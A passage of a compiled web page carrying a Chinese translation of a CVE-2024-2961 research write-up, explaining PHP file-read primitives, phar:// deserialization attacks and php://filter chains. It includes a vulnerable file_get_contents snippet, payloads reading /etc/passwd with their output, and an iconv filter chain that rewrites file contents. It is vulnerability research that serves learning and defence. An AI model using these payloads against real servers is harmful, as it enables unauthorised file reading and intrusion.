\u4e2a\u5b57\u8282\u592a\u591a\u4e86",id:"pkexec4-\u4e2a\u5b57\u8282\u592a\u591a\u4e86",level:4},{value:"\u6761\u4ef6\u548c\u57fa\u5143\uff08\u5df2\u66f4\u65b0\uff09",id:"\u6761\u4ef6\u548c\u57fa\u5143\u5df2\u66f4\u65b0",level:4},{value:"\u5229\u7528PHP\u8fc7\u6ee4\u5668",id:"\u5229\u7528php\u8fc7\u6ee4\u5668",level:2},{value:"PHP\u5806\u7684\u5165\u95e8",id:"php\u5806\u7684\u5165\u95e8",level:3},{value:"PHP \u8fc7\u6ee4\u5668\u5185\u90e8",id:"php-\u8fc7\u6ee4\u5668\u5185\u90e8",level:3},{value:"\u60c5\u51b5\u548c\u76ee\u6807",id:"\u60c5\u51b5\u548c\u76ee\u6807",level:3},{value:"\u5f00\u53d1",id:"\u5f00\u53d1",level:3},{value:"\u5355\u6876",id:"\u5355\u6876",level:4},{value:"\u6b63\u786e\u62c6\u89e3",id:"\u6b63\u786e\u62c6\u89e3",level:4},{value:"\u514d\u8d39\u5217\u8868\u63a7\u5236\uff1a\u5199\u4ec0\u4e48\u5c31\u5199\u4ec0\u4e48",id:"\u514d\u8d39\u5217\u8868\u63a7\u5236\u5199\u4ec0\u4e48\u5c31\u5199\u4ec0\u4e48",level:4},{value:"\u4ee3\u7801\u6267\u884c",id:"\u4ee3\u7801\u6267\u884c",level:4},{value:"\u5229\u7528\u6027\u80fd",id:"\u5229\u7528\u6027\u80fd",level:4},{value:"\u6f14\u793a",id:"\u6f14\u793a",level:4},{value:"\u51b2\u51fb",id:"\u51b2\u51fb",level:2},{value:"\u6807\u51c6\u6c34\u69fd",id:"\u6807\u51c6\u6c34\u69fd",level:3},{value:"\u4f7f\u7528\u6f0f\u6d1e",id:"\u4f7f\u7528\u6f0f\u6d1e",level:3},{value:"SQL injection to RCE SQL \u6ce8\u5165\u5230 RCE",id:"sql-injection-to-rce-sql-\u6ce8\u5165\u5230-rce",level:4},{value:"XXE",id:"xxe",level:4},{value:"\u4f5c\u4e3a PHAR \u7684\u66ff\u4ee3\u54c1",id:"\u4f5c\u4e3a-phar-\u7684\u66ff\u4ee3\u54c1",level:3},{value:"\u89e3\u6790\u5e93",id:"\u89e3\u6790\u5e93",level:3},{value:"\u7c7b\u5b9e\u4f8b\u5316",id:"\u7c7b\u5b9e\u4f8b\u5316",level:3},{value:"\u4f5c\u4e3a\u5bf9\u5c0f\u5de5\u5177\u94fe\u7684\u6539\u8fdb",id:"\u4f5c\u4e3a\u5bf9\u5c0f\u5de5\u5177\u94fe\u7684\u6539\u8fdb",level:3},{value:"\u5176\u4ed6\u4eba\uff0c\u53ef\u80fd",id:"\u5176\u4ed6\u4eba\u53ef\u80fd",level:3},{value:"\u65f6\u95f4\u7ebf",id:"\u65f6\u95f4\u7ebf",level:2},{value:"\u7ed3\u8bba",id:"\u7ed3\u8bba",level:2},{value:"\u6f0f\u6d1e\u73af\u5883",id:"\u6f0f\u6d1e\u73af\u5883",level:2},{value:"\u6f0f\u6d1e\u590d\u73b0",id:"\u6f0f\u6d1e\u590d\u73b0",level:2}];function t(e){const n={a:"a",code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,d.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"01php\u5229\u7528gnu-c-iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210rcecve-2024-2961",children:"01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:52:29"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:27:21"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"php\u5229\u7528gnu-c-iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210rcecve-2024-2961",children:"PHP\u5229\u7528GNU C Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961"}),"\n",(0,s.jsx)(n.h2,{id:"\u4ecb\u7ecd",children:"\u4ecb\u7ecd"}),"\n",(0,s.jsx)(n.p,{children:"\u51e0\u4e2a\u6708\u524d\uff0c\u6211\u5076\u7136\u5728 glibc\uff08Linux \u7a0b\u5e8f\u7684\u57fa\u7840\u5e93\uff09\u4e2d\u53d1\u73b0\u4e86\u4e00\u4e2a\u5df2\u6709 24 \u5e74\u5386\u53f2\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\u3002\u5c3d\u7ba1\u53ef\u4ee5\u5728\u591a\u4e2a\u77e5\u540d\u5e93\u6216\u53ef\u6267\u884c\u6587\u4ef6\u4e2d\u8bbf\u95ee\uff0c\u4f46\u5b83\u88ab\u8bc1\u660e\u5f88\u5c11\u53ef\u5229\u7528\u2014\u2014\u867d\u7136\u5b83\u6ca1\u6709\u63d0\u4f9b\u592a\u591a\u7684\u56de\u65cb\u4f59\u5730\uff0c\u4f46\u5b83\u9700\u8981\u96be\u4ee5\u5b9e\u73b0\u7684\u5148\u51b3\u6761\u4ef6\u3002\u5bfb\u627e\u76ee\u6807\u4e3b\u8981\u4f1a\u5bfc\u81f4\u5931\u671b\u3002\u7136\u800c\uff0c\u5728PHP\u4e0a\uff0c\u8fd9\u4e2a\u9519\u8bef\u5927\u653e\u5f02\u5f69\uff0c\u5e76\u88ab\u8bc1\u660e\u5728\u4ee5\u4e24\u79cd\u4e0d\u540c\u7684\u65b9\u5f0f\u5229\u7528\u5176\u5f15\u64ce\u65b9\u9762\u5f88\u6709\u7528\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7531\u4e8e\u6750\u6599\u6570\u91cf\u4f17\u591a\uff0c\u8be5\u9519\u8bef\u7684\u5f71\u54cd\u548c\u5229\u7528\u5c06\u8bb0\u5f55\u5728\u7531\u4e09\u90e8\u5206\u7ec4\u6210\u7684\u7cfb\u5217\u4e2d\u3002\u5728\u672c\u7cfb\u5217\u7684\u7b2c\u4e00\u90e8\u5206\u4e2d\uff0c\u6211\u5c06\u63cf\u8ff0\u6211\u662f\u5982\u4f55\u9047\u5230\u8fd9\u4e2a\u9519\u8bef\u7684\uff0c\u4e3a\u4ec0\u4e48\u5408\u9002\u7684\u76ee\u6807\u5f88\u5c11\u89c1\uff0c\u6700\u540e\u6df1\u5165\u7814\u7a76 PHP \u5f15\u64ce\uff0c\u6f14\u793a\u4e00\u79cd\u65b0\u7684\u5229\u7528\u5411\u91cf\uff1a\u5728 PHP \u5e94\u7528\u7a0b\u5e8f\u4e2d\u5c06\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed\u8f6c\u6362\u4e3a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u5982\u679c\u60a8\u4e0d\u719f\u6089 Web \u5f00\u53d1\u3001PHP \u6216 PHP \u5f15\u64ce\uff0c\u8bf7\u4e0d\u8981\u4ecb\u610f\uff1a\u6211\u5c06\u5728\u6b64\u8fc7\u7a0b\u4e2d\u89e3\u91ca\u76f8\u5173\u6982\u5ff5\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"\u53d1\u73b0\u4e00\u4e2a\u5173\u4e8e\u8fc7\u6ee4\u5668\u7684\u6545\u4e8b",children:"\u53d1\u73b0\uff1a\u4e00\u4e2a\u5173\u4e8e\u8fc7\u6ee4\u5668\u7684\u6545\u4e8b"}),"\n",(0,s.jsx)(n.h3,{id:"php-\u4e2d\u7684\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed",children:"PHP \u4e2d\u7684\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed"}),"\n",(0,s.jsx)(n.p,{children:"\u8ba9\u6211\u4eec\u9996\u5148\u4ecb\u7ecd\u57fa\u7840\u77e5\u8bc6\u3002\u5047\u8bbe\u5728\u6267\u884c\u8bc4\u4f30\u65f6\uff0c\u53d1\u73b0\u4e00\u4e2a\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed\uff0c\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-php",children:"echo file_get_contents($_GET['file']);\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u4f60\u80fd\u7528\u5b83\u505a\u4ec0\u4e48\uff1f\u597d\u5427\uff0c\u663e\u7136\uff0c\u8bfb\u53d6\u6587\u4ef6\u3002\u4f8b\u5982\uff0c\u60a8\u53ef\u4ee5\u9605\u8bfb ",(0,s.jsx)(n.code,{children:"/etc/passwd"})," \u3002\u4f46\u662f PHP \u8fd8\u5141\u8bb8\u60a8\u4f7f\u7528\u5176\u4ed6\u534f\u8bae\uff0c\u4f8b\u5982 ",(0,s.jsx)(n.code,{children:"http://"})," \u6216 ",(0,s.jsx)(n.code,{children:"ftp://"})," .\u56e0\u6b64\uff0c\u60a8\u53ef\u4ee5\u8981\u6c42 PHP \u4e3a\u60a8\u83b7\u53d6 google \u7684\u9996\u9875\uff0c\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"http://google.com"})," ;\u6216\u4ece FTP \u670d\u52a1\u5668\u4e0b\u8f7d\u6587\u4ef6\uff0c\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"ftp://user:passwd@ftp.target.com/file.bin"})," .\u4f46\u8fd9\u8fd8\u4e0d\u662f\u5168\u90e8;PHP \u8fd8\u5b9e\u73b0\u4e86\u81ea\u5b9a\u4e49\u534f\u8bae\uff0c\u4f8b\u5982 ",(0,s.jsx)(n.code,{children:"phar://"})," ."]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"phar://"})," \u5141\u8bb8\u60a8\u5728 PHAR \u5b58\u6863\u4e2d\u8bfb\u53d6\u3002PHAR \u4ee3\u8868 PHP \u5b58\u6863\uff0c\u5c31\u50cf JAR \u4ee3\u8868 Java \u5b58\u6863\u4e00\u6837\u3002\u5b83\u662f\u4e00\u7ec4\u6587\u4ef6\uff0c\u4f8b\u5982\uff1a"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"Source code \u6e90\u4ee3\u7801"}),"\n",(0,s.jsx)(n.li,{children:"Resources \u8d44\u6e90"}),"\n",(0,s.jsx)(n.li,{children:"Serialized metadata \u5e8f\u5217\u5316\u5143\u6570\u636e"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u591a\u5e74\u6765\uff0c\u8be5\u534f\u8bae\u4e00\u76f4\u662fPHP\u7684\u57ae\u53f0\uff0c\u56e0\u4e3a\u5f53\u60a8\u4f7f\u7528\u5b83\u8bbf\u95eePHAR\u6587\u4ef6\u65f6\uff0c\u5176\u5143\u6570\u636e\u4f1a\u88ab\u53cd\u5e8f\u5217\u5316\u3002\u901a\u5e38\u7684 PHAR \u653b\u51fb\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u5c06 PHAR \u5b58\u6863\u4e0a\u4f20\u5230\u76ee\u6807\u670d\u52a1\u5668\uff08PHAR \u6587\u4ef6\u975e\u5e38\u591a\u8bed\u8a00\uff0c\u56e0\u6b64\u60a8\u53ef\u4ee5\u4f7f\u5b83\u4eec\u770b\u8d77\u6765\u50cf\u56fe\u50cf\u3001PDF \u6216\u4efb\u4f55\u4e1c\u897f\uff0c\u771f\u7684\uff09"}),"\n",(0,s.jsxs)(n.li,{children:["\u4f7f\u7528\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed\u8bbf\u95ee PHAR \u6587\u4ef6\uff0c\u5e76\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"phar:///path/to/file.phar/test"})]}),"\n",(0,s.jsx)(n.li,{children:"\u4efb\u610f\u6709\u6548\u8d1f\u8f7d\u88ab\u53cd\u5e8f\u5217\u5316"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u53ef\u4ee5\u901a\u8fc7\u591a\u79cd\u65b9\u5f0f\u5c06\u53cd\u5e8f\u5217\u5316\u8f6c\u6362\u4e3a\u4ee3\u7801\u6267\u884c\uff0c\u4f46\u4eba\u4eec\u901a\u5e38\u4f9d\u8d56\u4e8e PHP \u4e0a\u7684\u9996\u9009\u53cd\u5e8f\u5217\u5316\u5de5\u5177 PHPGGC\u3002"}),"\n",(0,s.jsx)(n.p,{children:"PHAR \u653b\u51fb\u7684\u5f71\u54cd\u600e\u4e48\u5f3a\u8c03\u90fd\u4e0d\u4e3a\u8fc7\u3002\u81ea 2018 \u5e74\u521b\u5efa\u4ee5\u6765\uff0c\u5b83\u4eec\u4e00\u76f4\u662f\u5728 PHP \u76ee\u6807\u4e0a\u83b7\u5f97\u5916\u58f3\u7684\u5173\u952e\u3002\u4f46\u6d3e\u5bf9\u5373\u5c06\u7ed3\u675f\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u4ece PHP 8.0\uff082020 \u5e74\u53d1\u5e03\uff09\u5f00\u59cb\uff0c ",(0,s.jsx)(n.code,{children:"phar://"})," \u4e0d\u518d\u53cd\u5e8f\u5217\u5316\u5143\u6570\u636e\u3002\uff08\u65e0\u8bba\u5982\u4f55\uff0c\u4ed6\u4eec\u90fd\u6ca1\u6709\u4f7f\u7528\u5143\u6570\u636e\uff0c\u6240\u4ee5\u4e3a\u4ec0\u4e48\u8981\u53cd\u5e8f\u5217\u5316\u5b83\uff09\u3002\u8fd9\u5c06\u5b8c\u5168\u6740\u6b7b PHAR \u653b\u51fb\u3002"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u5927\u578b\u5e94\u7528\u7a0b\u5e8f\uff08\u5982Drupal\u6216Magento\uff09\u4e00\u76f4\u5728\u7981\u7528\u8be5\u534f\u8bae ",(0,s.jsx)(n.code,{children:"phar://"})]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsx)(n.p,{children:"\u968f\u7740\u65f6\u95f4\u7684\u6d41\u901d\uff0c\u53cd\u5e8f\u5217\u5316\u5c06\u53d8\u5f97\u8d8a\u6765\u8d8a\u96be\u4ee5\u5229\u7528\uff1a\u56fe\u4e66\u9986\u6b63\u5728\u4fee\u8865\u5176\u53cd\u5e8f\u5217\u5316\u94fe\uff0c\u800c\u6253\u5b57\u6b63\u5728\u5377\u571f\u91cd\u6765\uff0c\u4ece\u800c\u5927\u5927\u51cf\u5c11\u4e86\u53cd\u5e8f\u5217\u5316\u8def\u5f84\u3002"}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u4f46 ",(0,s.jsx)(n.code,{children:"phar://"})," \u5e76\u4e0d\u662f\u552f\u4e00\u5bf9\u653b\u51fb\u8005\u6709\u7528\u7684\u534f\u8bae;\u53e6\u4e00\u4e2a\u4e5f\u4ea7\u751f\u4e86\u5f88\u597d\u7684\u7ed3\u679c\uff1a ",(0,s.jsx)(n.code,{children:"php://filter"})," ."]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"php\u8fc7\u6ee4\u5668\u7b80\u4ecb",children:"PHP\u8fc7\u6ee4\u5668\u7b80\u4ecb"}),"\n",(0,s.jsxs)(n.p,{children:["\u51e0\u5e74\u6765\uff0c\u4eba\u4eec\u5bf9\u53e6\u4e00\u79cd\u7279\u5b9a\u4e8e PHP \u7684\u534f\u8bae\u4ea7\u751f\u4e86\u5174\u8da3 ",(0,s.jsx)(n.code,{children:"php://filter"})," \uff08\u5982\u679c\u540d\u79f0\u4e0d\u660e\u663e\u7684\u8bdd\uff09\u3002\u5b83\u63d0\u4f9b\u4e86\u4e00\u79cd\u5728\u8fd4\u56de\u6d41\u4e4b\u524d\u5c06\u8f6c\u6362\u5e94\u7528\u4e8e\u6d41\u7684\u65b9\u6cd5\u3002\u8bed\u6cd5\u4e3a\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"php://filter/[filters...]/resource=[resource]\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8d44\u6e90\u53ef\u4ee5\u662f\u6211\u4eec\u5728\u4e0a\u4e00\u8282\u4e2d\u5df2\u7ecf\u8ba8\u8bba\u8fc7\u7684\u4efb\u4f55\u5185\u5bb9\uff1a\u4e00\u4e2a\u7b80\u5355\u7684\u6587\u4ef6\u3001\u4e00\u4e2a HTTP \u54cd\u5e94\u3001\u4e00\u4e2a\u6765\u81ea FTP \u670d\u52a1\u5668\u7684\u6587\u4ef6......\n\u7b5b\u9009\u5668\u662f\u60a8\u5e0c\u671b PHP \u5e94\u7528\u4e8e\u6d41\u7684\u8f6c\u6362\u5217\u8868\u3002\u5728\u8fd9\u91cc\uff0c\u6211\u4eec\u8981\u6c42 PHP \u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"convert.base64-encode"})," \u8fc7\u6ee4\u5668\u5c06\u8d44\u6e90\u7684\u5185\u5bb9\u8f6c\u6362\u4e3a base64\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"php://filter/convert.base64-encode/resource=/etc/passwd\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5b83\u8fd4\u56de\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYXNoCmJpbjp4OjE6MTpiaW46L2Jpbjovc2Jpbi9u\nb2xvZ2luCmRhZW1vbjp4OjI6MjpkYWVtb246L3NiaW46L3NiaW4vbm9sb2dpbgphZG06eDozOjQ6\n...\nYi92bnN0YXQ6L2Jpbi9mYWxzZQpyZWRpczp4OjEwMjoxMDM6cmVkaXM6L3Zhci9saWIvcmVkaXM6\nL2Jpbi9mYWxzZQo=\n\u60a8\u53ef\u4ee5\u6839\u636e\u9700\u8981\u6dfb\u52a0\u4efb\u610f\u6570\u91cf\u7684\u8fc7\u6ee4\u5668\u3002\u5728\u8fd9\u91cc\uff0c\u6211\u8981\u6c42 PHP \u5bf9\u6d41\u8fdb\u884c\u4e24\u6b21 base64 \u7f16\u7801\uff1a\n"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/passwd\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u5f97\u5230\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"Y205dmREcDRPakE2TURweWIyOTBPaTl5YjI5ME9pOWlhVzR2WVhOb0NtSnBianA0T2pFNk1UcGlh\n...\nRXdNam94TURNNmNtVmthWE02TDNaaGNpOXNhV0l2Y21Wa2FYTTZMMkpwYmk5bVlXeHpaUW89\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u663e\u7136\uff0cbase64 \u7f16\u7801\u5e76\u4e0d\u662f\u60a8\u552f\u4e00\u53ef\u4ee5\u505a\u7684\u4e8b\u60c5\u3002\u6709\u8bb8\u591a\u8fc7\u6ee4\u5668\u53ef\u7528\u3002\u5b83\u4eec\u5305\u62ec\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"string.upper"}),", which converts a string to uppercase\n",(0,s.jsx)(n.code,{children:"string.upper"})," \uff0c\u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5927\u5199"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"string.lower"}),", which converts a string to lowercase\n",(0,s.jsx)(n.code,{children:"string.lower"})," \uff0c\u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5c0f\u5199"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"string.rot13"}),", which does some BC crypto\n",(0,s.jsx)(n.code,{children:"string.rot13"})," \uff0c\u5b83\u505a\u4e86\u4e00\u4e9b BC \u52a0\u5bc6"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"convert.iconv.X.Y"}),", which converts charset from ",(0,s.jsx)(n.code,{children:"X"})," to ",(0,s.jsx)(n.code,{children:"Y"}),"\n",(0,s.jsx)(n.code,{children:"convert.iconv.X.Y"})," \uff0c\u8fd9\u4f1a\u5c06 charset \u4ece ",(0,s.jsx)(n.code,{children:"X"})," \u8f6c\u6362\u4e3a ",(0,s.jsx)(n.code,{children:"Y"})]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u8ba9\u6211\u4eec\u770b\u4e00\u4e0b\u6700\u540e\u4e00\u4e2a\u8fc7\u6ee4\u5668\uff1a ",(0,s.jsx)(n.code,{children:"convert.iconv.X.Y"})," .\u5047\u8bbe\u6211\u9700\u8981\u5c06\u6211\u7684\u6587\u4ef6\u4ece UTF8 \u8f6c\u6362\u4e3a UTF16\u3002\u6211\u53ef\u4ee5\u4f7f\u7528\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"php://filter/convert.iconv.UTF-8.UTF-16/resource=/etc/passwd\n\u5b83\u7ed9\u51fa\uff08\u5341\u516d\u8fdb\u5236\u5f62\u5f0f\uff09\uff1a\n"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"00000000: fffe 7200 6f00 6f00 7400 3a00 7800 3a00 ..r.o.o.t.:.x.:.\n00000010: 3000 3a00 3000 3a00 7200 6f00 6f00 7400 0.:.0.:.r.o.o.t.\n\n ...\n\n00000a40: 2f00 6200 6900 6e00 2f00 6600 6100 6c00 /.b.i.n./.f.a.l.\n00000a50: 7300 6500 0a00 s.e...\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5927\u91cf\u7684\u8fc7\u6ee4\u5668\u548c\u94fe\u63a5\u5b83\u4eec\u7684\u53ef\u80fd\u6027\u5bfc\u81f4\u4e86\u5bf9 PHP \u7684\u4e00\u4e9b\u4f1f\u5927\u7814\u7a76\uff0c\u4f8b\u5982 ",(0,s.jsx)(n.a,{href:"https://gynvael.coldwind.pl/?id=671",children:"here"}),"\u3001",(0,s.jsx)(n.a,{href:"https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d",children:"here"})," \u6216 ",(0,s.jsx)(n.a,{href:"https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py",children:"here"}),"\u3002\u4e8b\u5b9e\u4e0a\uff0c\u4f7f\u7528\u7cbe\u786e\u9009\u62e9\u7684\u8fc7\u6ee4\u5668\uff08\u8fc7\u6ee4\u5668\u94fe\uff09\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u505a\u4e00\u4e9b\u5947\u5999\u7684\u4e8b\u60c5\uff0c\u4f8b\u5982",(0,s.jsx)(n.a,{href:"https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it",children:"\u5b8c\u5168\u66f4\u6539\u6587\u4ef6\u7684\u5185\u5bb9"}),"\uff0c\u6216\u8005\u4f7f\u7528",(0,s.jsx)(n.a,{href:"(https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle).",children:"\u57fa\u4e8e\u9519\u8bef\u7684\u9884\u8a00\u673a\u9010\u4e2a\u63d0\u53d6\u5176\u5b57\u8282"}),"\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4f8b\u5982\uff0c\u8fd9\u91cc\u6709\u4e00\u4e2a\u8fc7\u6ee4\u5668\u94fe\uff0c\u5b83\u9884\u8bbe ",(0,s.jsx)(n.code,{children:"Hello world!"})," \u4e3a ",(0,s.jsx)(n.code,{children:"/etc/passwd"})," \uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|\nconvert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.IBM860.UTF16|\nconvert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|\nconvert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|\nconvert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|\nconvert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.JS.UNICODE|\nconvert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|\nconvert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|\nconvert.iconv.855.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|\nconvert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|\nconvert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|\nconvert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|\nconvert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|\nconvert.iconv.855.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L5.UTF-32|\nconvert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|\nconvert.base64-encode|convert.iconv.855.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.ISO2022KR.UTF16|\nconvert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|\nconvert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|\nconvert.iconv.855.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|\nconvert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|\nconvert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|\nconvert.iconv.855.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|\nconvert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|\nconvert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|\nconvert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u7ed3\u679c\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"Hello, world!!!root:x:0:0:root:/root:/bin/bash...\n"})}),"\n",(0,s.jsx)(n.h3,{id:"php-\u8fc7\u6ee4\u5668\u524d\u7f00\u540e\u7f00\u548c-crash",children:"PHP \u8fc7\u6ee4\u5668\uff1a\u524d\u7f00\u3001\u540e\u7f00\u548c 